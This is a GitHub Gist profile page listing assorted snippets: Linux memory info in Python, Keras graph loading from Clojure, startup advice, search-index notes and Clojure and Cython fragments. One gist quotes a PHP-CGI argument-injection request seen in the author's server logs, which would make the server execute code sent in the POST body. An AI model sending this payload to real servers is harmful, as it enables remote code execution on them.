Skip to content

Instantly share code, notes, and snippets.

View bobpoekert's full-sized avatar
🗿
.

Bob Poekert bobpoekert

🗿
.
View GitHub Profile
@bobpoekert
bobpoekert / linux_memory.py
Created January 13, 2013 00:38
Get info about available memory from Python on Linux.
def memory_info():
res = {}
for row in open('/proc/meminfo', 'r'):
k, v = row.split(':')
k = k.strip()
v = v.split()
if len(v) == 1:
v = int(v[0])
elif v[1] == 'kB':
v = int(v[0]) * 1024
@bobpoekert
bobpoekert / readme.md
Last active August 31, 2017 20:18
How to load keras graphs from clojure
  1. train your model in keras in python
  2. use serialize() to write the graph with parameters out to a file
  3. use load-graph to load that file using the tensorflow java api
'figure': 2.7995377623971058,
'heading': 2.7494888513321079,
'list': 2.8587943944205776,
'paragraph': 2.9397276751874042,
'table': 4.1352922428576822

Bad Reasons to Start A Company

  1. You want people to like you / want to be in charge of people / think you're a "leader"
  2. You think you're smarter than everyone else
  3. You think you have some technical "secret sauce" that no one else has and that this has intrinsic value
  4. You think your PhD thesis is a product
  5. Mummy and Daddy are giving you a seed round because they want to get you out of the house
  6. You live in LA or New York and you're jealous of San Francisco
  7. You heard that $fad (Big Data/IoT/Adtech/Fintech/whatever) was big

Data structures:

Hash table mapping tokens -> <document-count, count-min-sketch(docuemnt id -> term count)>
Hash table mapping sketch indexes -> heap(<document id, term count dictionary> sorted by document id)

To search:

  1. sum sketches for all terms in the query
  2. find indexes of top k values in result sketch
  3. look up actual document ids and term counts for those indexes
var truthiness = function(obj) {
/* ?P -> Boolean */
switch(obj) {
case 0:
case false:
case null:
case undefined:
return false;
case true:
return true;
@bobpoekert
bobpoekert / gist:7357711
Created November 7, 2013 16:44
people have php configured to execute code from post requests? I just noticed somebody drive-by posting this to my server.
cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n
static PyObject *__pyx_pf_4test_fib(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_n) {
PyObject *__pyx_v_SZ = NULL;
PyObject *__pyx_v_i = NULL;
PyObject *__pyx_v_a = NULL;
PyObject *__pyx_v_b = NULL;
PyObject *__pyx_v_t = NULL;
PyObject *__pyx_r = NULL;
__Pyx_RefNannyDeclarations
PyObject *__pyx_t_1 = NULL;
(defn parse-row
[^String row]
(let [[k v] (.split row \tab)
[k1 k2] (map (partial string/join " ") (json/read-str k))]
[k1 k2 (Long/parseLong (.trim v))]))
(defn co-occurrence
[dir]
(let [source (hfs-textline dir)]
(<- [?k1 ?k2 ?count]
@bobpoekert
bobpoekert / binding.py
Created August 22, 2012 17:16
(binding) in python
from contextlib import contextmanager
@contextmanager
def binding(**pairs):
g = globals()
prev = dict((k, g[k]) for k in pairs.iterkeys() if k in g)
g.update(pairs)
try:
yield
finally: